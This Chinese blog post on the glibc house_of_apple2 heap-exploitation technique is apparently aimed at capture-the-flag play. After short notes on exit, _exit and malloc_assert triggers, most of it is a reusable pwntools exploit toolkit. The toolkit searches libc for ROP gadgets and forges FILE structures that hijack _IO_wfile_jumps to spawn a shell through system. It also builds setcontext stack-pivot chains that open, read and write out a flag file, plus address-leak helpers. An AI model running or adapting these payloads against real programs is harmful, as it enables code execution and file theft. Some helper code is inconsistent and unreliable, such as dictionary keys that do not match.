house_of_apple2


从main函数退出或exit

原理&&源代码分析

以后有空再说

模板

_exit变种

_exit

1.exit() 和 _exit() 都是用来终止进程的;

2._exit() 执行后立即返回给内核,而 exit() 要先执行一些清楚操作,然后将控制权交给内核;

3._exit() 在<unistd.h>中声明;

4.调用 _exit() 函数时,其会关闭进程所有的文件描述符,清理内存以及其它一些内核清理函数,但不会刷新流(stdin,stdout,stderr……)

:star:如果将exit()替换为_exit(),最终结束时则是进行了syscall来结束,并没有机会调用_IO_cleanup,read、write无法触发IO流;

触发malloc_assert

1.在_int_maloc中存在一个assert(chunk_main_arena(bck-bk))的位置可以触发;

2.当top_chunk大小不够分配的时候则会进入sysmalloc中;

house_of_apple2 另一种触发

1.首先接触stderr指向一个我们可控可写的地址(笔者习惯称之为f1_addr)(这里可以用largebinattack)

2.在上述f1_addr中仍然部署之前的house_of_apple2的payload,但是要在偏移0x88(_lock)字段写一个合法地址;

3.修改top_chunk的size为很小,申请chunk时触发malloc_assert;

较新的一版利用工具

#version 2023.11.25
from pwn import *
import os
def get_magic_addr(libc_base, libc_filename, show=0):
shell = "ROPgadget --binary "
shell += libc_filename
shell += ' --only "mov|call" | grep "mov rdx, qword ptr \\[rdi + 8\\]" > gadget'
os.system(shell)
magic = 0
with open("./gadget") as f:
for line in f:
num = line[:18]
magic = int(num, 16)
break
magic = libc_base + magic
if show == 1:
print('='*0x20)
print("the magic_addr is:", hex(magic))
print("="*0x20)
sleep(0.3)
return magic

def get_rops(libc_base, libc_filename):
res = {}
libc = ELF(libc_filename)
rop = ROP(libc_filename)
#pop_rdi
pop_rdi1 = rop.find_gadget(['pop rdi', 'ret'])
if pop_rdi1 == None:
print("not find pop rdi")
sleep(3)
return
pop_rdi = libc_base + pop_rdi1[0]
res["pop_rdi"] = pop_rdi
#pop_rsi
pop_rsi1 = rop.find_gadget(['pop rsi', 'ret'])
if pop_rsi1 == None:
print("not find pop rsi")
sleep(3)
return
pop_rsi = libc_base + pop_rsi1[0]
res['pop_rsi'] = pop_rsi
#pop_rdx_r12
pop_rdx1 = rop.find_gadget(['pop rdx', 'pop r12', 'ret'])
if pop_rdx1 == None:
print("not find pop rdx")
sleep(3)
return
pop_rdx = libc_base + pop_rdx1[0]
res['pop_rdx'] = pop_rdx
#pop_rax
pop_rax1 = rop.find_gadget(['pop rax', 'ret'])
if pop_rax1 == None:
print("not find pop rax")
sleep(3)
return
pop_rax = libc_base + pop_rax1[0]
res['pop_rax'] = pop_rax
#ret
shell2 = "ROPgadget --binary "
shell2 += libc_filename
shell2 += ' --only "ret" > ./ret.txt'
os.system(shell2)
i = 0
ret = 0
with open('./ret.txt') as f2:
for line in f2:
i = i + 1
if i == 1 or i == 2:
continue
num = line[:18]
ret = int(num, 16)
break
ret = libc_base + ret
res['ret'] = ret
#syscall
syscall1 = rop.find_gadget(['syscall', 'ret'])
if syscall1 == None:
print("not find syscall")
sleep(3)
return
syscall = libc_base + syscall1[0]
res['syscall'] = syscall

return res


def house_of_apple2(libc_base, libc_filename, f1_addr):
libc = ELF(libc_filename)
jumps = libc_base + libc.sym['_IO_wfile_jumps']
system = libc_base + libc.sym['system']
wide_addr = f1_addr
vtable_addr = f1_addr
pay = b' @;sh'.ljust(8, b'\x00')
pay = pay.ljust(0x28, b'\x00')
pay += p64(1)
pay = pay.ljust(0x68, b'\x00')
pay += p64(system)
pay = pay.ljust(0xa0, b'\x00')
pay += p64(wide_addr)
pay = pay.ljust(0xd8, b'\x00')
pay += p64(jumps)
pay = pay.ljust(0xe0, b'\x00')
pay += p64(vtable_addr)
return pay

def house_of_apple2_assert(libc_base, libc_filename, f1_addr):
libc = ELF(libc_filename)
jumps = libc_base + libc.sym['_IO_wfile_jumps']
system = libc_base + libc.sym['system']
wide_addr = f1_addr
vtable_addr = f1_addr
pay = b' @;sh'.ljust(8, b'\x00')
pay = pay.ljust(0x28, b'\x00')
pay += p64(1)
pay = pay.ljust(0x68, b'\x00')
pay += p64(system)
pay = pay.ljust(0x88, b'\x00')
pay += p64(f1_addr+0x1000)
pay = pay.ljust(0xa0, b'\x00')
pay += p64(wide_addr)
pay = pay.ljust(0xd8, b'\x00')
pay += p64(jumps)
pay = pay.ljust(0xe0, b'\x00')
pay += p64(vtable_addr)
return pay


def house_of_apple_orw(libc_base, libc_filename, f1_addr, sysbin):
libc = ELF(libc_filename)
jumps = libc_base + libc.sym['_IO_wfile_jumps']
wide_addr = f1_addr
vtable_addr = f1_addr
magic = get_magic_addr(libc_base, libc_filename)
setcontext = libc_base + libc.sym['setcontext']
pay = p64(0)+p64(f1_addr+0x100-0x20)
pay = pay.ljust(0x28, b'\x00')
pay += p64(1)
pay = pay.ljust(0x68, b'\x00')
pay += p64(magic)
pay = pay.ljust(0xa0, b'\x00')
pay += p64(wide_addr)
pay = pay.ljust(0xd8, b'\x00')
pay += p64(jumps)
pay = pay.ljust(0xe0, b'\x00')
pay += p64(vtable_addr)
pay = pay.ljust(0x100, b'\x00')
if sysbin == 0:
tmp = stack_povit_orw(libc_base, libc_filename, f1_addr+0xe0)
else:
tmp = stack_povit_orw(libc_base, libc_filename, f1_addr+0xe0, sysbin=1)
tmp = tmp[32:]
pay += tmp
return pay

def orw(libc_base, libc_filename, flag, sysbin=0):
libc = ELF(libc_filename)
rop = ROP(libc_filename)

rops = get_rops(libc_base, libc_filename)
pop_rdi = rops['pop rdi']
pop_rsi = rops['pop rsi']
pop_rdx = rops['pop rdx'] #pop_rdx_r12
pop_rax = rops['pop_rax']
syscall = rops['syscall']
ret = rops['ret']
open_addr = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
if sysbin == 0:
pay = p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(open_addr)
pay += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag+0x10)+p64(pop_rdx)+p64(0x70)+p64(0)+p64(read)
pay += p64(pop_rdi)+p64(1)+p64(write)
else:
pay = p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
return pay

def stack_povit_orw(libc_base, libc_filename, f1_addr, sysbin=0):
libc = ELF(libc_filename)
rops = get_rops(libc_base, libc_filename)
pop_rdi = rops['pop_rdi']
pop_rsi = rops['pop_rsi']
pop_rdx = rops['pop_rdx'] #pop_rdx_r12_ret
pop_rax = rops['pop_rax']
syscall = rops['syscall']
ret = rops['ret']
open_addr = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
magic = get_magic_addr(libc_base, libc_filename)
setcontext = libc_base + libc.sym['setcontext']
if sysbin == 0:
flag = f1_addr + 0xe0
res = p64(0)+p64(f1_addr)+p64(0)*2+p64(setcontext+61)
res += p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(open_addr)
res += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag+0x10)+p64(pop_rdx)+p64(0x70)+p64(0)+p64(read)
res += p64(ret)+p64(pop_rdx)+p64(f1_addr+0x28)+p64(ret)
res += p64(pop_rdi)+p64(1)+p64(pop_rdx)+p64(0x70)*2+p64(write)
res += b'flag\x00'
else:
flag = f1_addr + 0xf8
res = p64(0)+p64(f1_addr)+p64(0)*2+p64(setcontext+61)
res += p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
res += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag+0x10)+p64(pop_rax)+p64(0)
res += p64(ret)+p64(pop_rdx)+p64(f1_addr+0x28)+p64(ret)
res += p64(pop_rdx)+p64(0x70)+p64(0)+p64(syscall)
res += p64(pop_rdi)+p64(1)+p64(pop_rax)+p64(1)+p64(syscall)
res += b'flag\x00'
return res

def get_heap_addr(sh, show, pie):
addr = 0
addr = u64(sh.recvuntil("\x55", timeout=0.1)[-6:].ljust(8, b'\x00'))
if pie == 0:
addr = u64(sh.recv(4).ljust(8, b'\x00'))
if addr & 0xa000000 != 0:
addr = addr - 0xa000000
else:
if addr == 0:
addr = u64(sh.recvuntil("\x56", timeout=0.1)[-6:].ljust(8, b'\x00'))
if show == 1:
print("addr:", hex(addr))
pause()
return addr

def get_libc_addr(sh, show):
addr = 0
addr = u64(sh.recvuntil("\x7f", timeout=0.2)[-6:].ljust(8, b'\x00'))
if addr == 0:
addr = u64(sh.recvuntil("\x7e", timeout=0.2)[-6:].ljust(8, b'\x00'))
if show == 1:
print("addr:", hex(addr))
pause()
return addr




文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录